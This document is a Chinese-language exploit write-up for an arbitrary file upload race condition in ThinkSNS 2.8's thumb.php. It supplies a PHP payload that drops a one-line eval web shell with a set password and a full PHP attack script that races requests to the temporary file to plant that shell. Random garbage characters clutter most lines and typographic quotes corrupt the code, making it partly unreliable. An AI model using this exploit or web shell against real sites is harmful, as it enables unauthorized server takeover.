漏洞版本
# U$ m( Z! l8 Q" V) y" i存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
Q1 ^2 [- @4 z6 w漏洞文件
! \: b; f7 S# N, H' v: O; h2 F! |存在漏洞的文件为:thumb.php5 ` m0 ?) {$ W" A8 b
作者:韦鲲鹏
2 W1 S: K7 S! D6 `2 ^, y1、 准备如下PHP文件并上传到服务器(自己的)。
, ~: j" q1 f; i4 H/ y0 j' y5 Q$ l文件内容如下:
X. o' `4 m. C( W<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>" @+ E. c% v* I( w; z
2、 计算出临时的文件名:
$ G% H# L0 m1 R4 e! x这里我们可以看文件的99行(刚刚是不是没注意呀!)。8 H1 n) B; d' T' O
' E. ^; n+ z T4 g% k% Q( A* S3、 上传临时文件。. ~8 M* d6 G/ M7 N7 K0 p: O
4、 访问临时文件。. s) C; U* }2 v+ m! T U; M
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)" i7 U v" M# @
Exploit文件内容如下:(这个我就不详细解释了)
- w! |( s+ C( F3 T<?php
7 O1 l! w2 s/ @4 |error_reporting(0);. V+ W1 z0 B5 q9 O
set_time_limit(0);
, K+ V6 Q a. W/ w$ Eini_set(“default_socket_timeout”, 5);
! |& r0 P- r- mfunction http_send($host, $port, $headers) {
4 |% N3 a3 S) n( a6 D+ m$fp = fsockopen($host, $port); n2 [! R5 h9 P! t. @) ]' s& A
if (!$fp) die(‘Connection -> fail’);
* Q6 Q! b0 U" \! h% c- J5 pfputs($fp, $headers);
1 X3 V: n5 A* s! r' B1 ^0 B0 \return $fp;
* O- e- {: s( _. K}( F1 e' s e; U
function http_recv($fp) {
$ C# x n( x3 j5 E$ v$ret=”";! o% m8 t9 ?9 {9 K* @) k
while (!feof($fp))' S! Y6 D1 @; X" |' v: X% X. r2 }
$ret.= fgets($fp, 1024);
" i4 @: i1 q" Q! H- _' jfclose($fp);& [$ ]8 g" W' d6 r8 G( o
return $ret;
: h% v! R: u+ n9 l' m}
. U; H7 ]) i7 @7 iprint “\n# ThinkSns Arbitrary File Upload #\n”;, i- A) U& a2 z5 L7 Q
print “# Discovered by 韦鲲鹏 #\n\n”;6 A- h. ~* m& j" R( u
if ($argc < 4) {3 ` Y! x- A. a$ T0 i* T6 H7 d8 d
print “Usage: php <host> <path> <romote_url>\n”;
6 [6 r; v4 S/ N0 `8 `print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;; m; D% _: x3 g1 V3 p: S! p
die();
4 U$ A& f" s3 E9 N}
$ W8 _) a/ E. {" K2 l0 R$host = $argv[1];
5 S$ F0 U9 w# J; d4 k. T+ B) Q2 y$path = $argv[2];
% m$ Y# x9 c/ p/ p, g9 u$url = $argv[3];7 ^1 ^/ j0 H3 O: f! p) m- ^- A
$i=0;
4 Y; W# Q( c# D) s/ w9 d//上传数据包+ p: P- L8 f- _
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;& u. a/ [* y, F( m
$headers_up .= “Host: “.$host.”\r\n”;+ N5 T6 I' s2 e+ d) {
$headers_up .= “Connection: close\r\n\r\n”;
]; S9 n: o3 A) p. \" W+ cecho $headers_up;
0 ~: C% ^9 [" I3 O//临时文件访问数据包; ^8 u% z# L$ N U! T8 g; O
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
& i3 B. H2 @# K" K) y, K3 C$headers .= “Host: “.$host.”\r\n”;
* U# R( |9 D- o, H$headers .= “Connection: close\r\n\r\n”;: }+ y8 b( ~+ `' M9 t, u! F' a
echo $headers;3 j F6 g$ y/ g5 [0 z$ w% P
while(++$i<10) {/ E6 H1 L; W8 |2 p& c
fclose(http_send($host, 80, $headers));: ]6 K+ h9 j6 Z6 B
} O7 l0 [8 Z5 J9 \/ E
fclose(http_send($host, 80, $headers_up));
. D8 V, X9 l7 `+ K6 qwhile(++$i<50) {9 n" `0 K$ o2 v! t- h
fclose(http_send($host, 80, $headers));/ f( S7 l; j+ O
}
! A% M$ V, u6 P: S& V& l+ M$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;( }9 \' K4 P- |7 [# o# w
$headers .= “Host: “.$host.”\r\n”;$ d% h0 L7 t- M/ ], Y' x" C. ^
$headers .= “Connection: close\r\n\r\n”;
9 N8 \0 P. u- W% H& r) E N$res=http_recv(http_send($host, 80, $headers));
- e1 j f9 Z0 ~) i2 vif(preg_match(‘/200 OK/’,$res)) {
% ]8 L i" T; ]0 v- P% jprint “Success!\n\n”;
7 [. [% f, J: ^: Y1 s7 Q1 e" w} else {
& @+ R, M6 L7 R1 t5 ]7 Aprint “Fail!\n\n”;3 N8 }/ P" Q$ P: x9 a
}; h4 O1 f7 L8 y0 C$ a+ e& d' n
?>
- l( h. V& `3 j |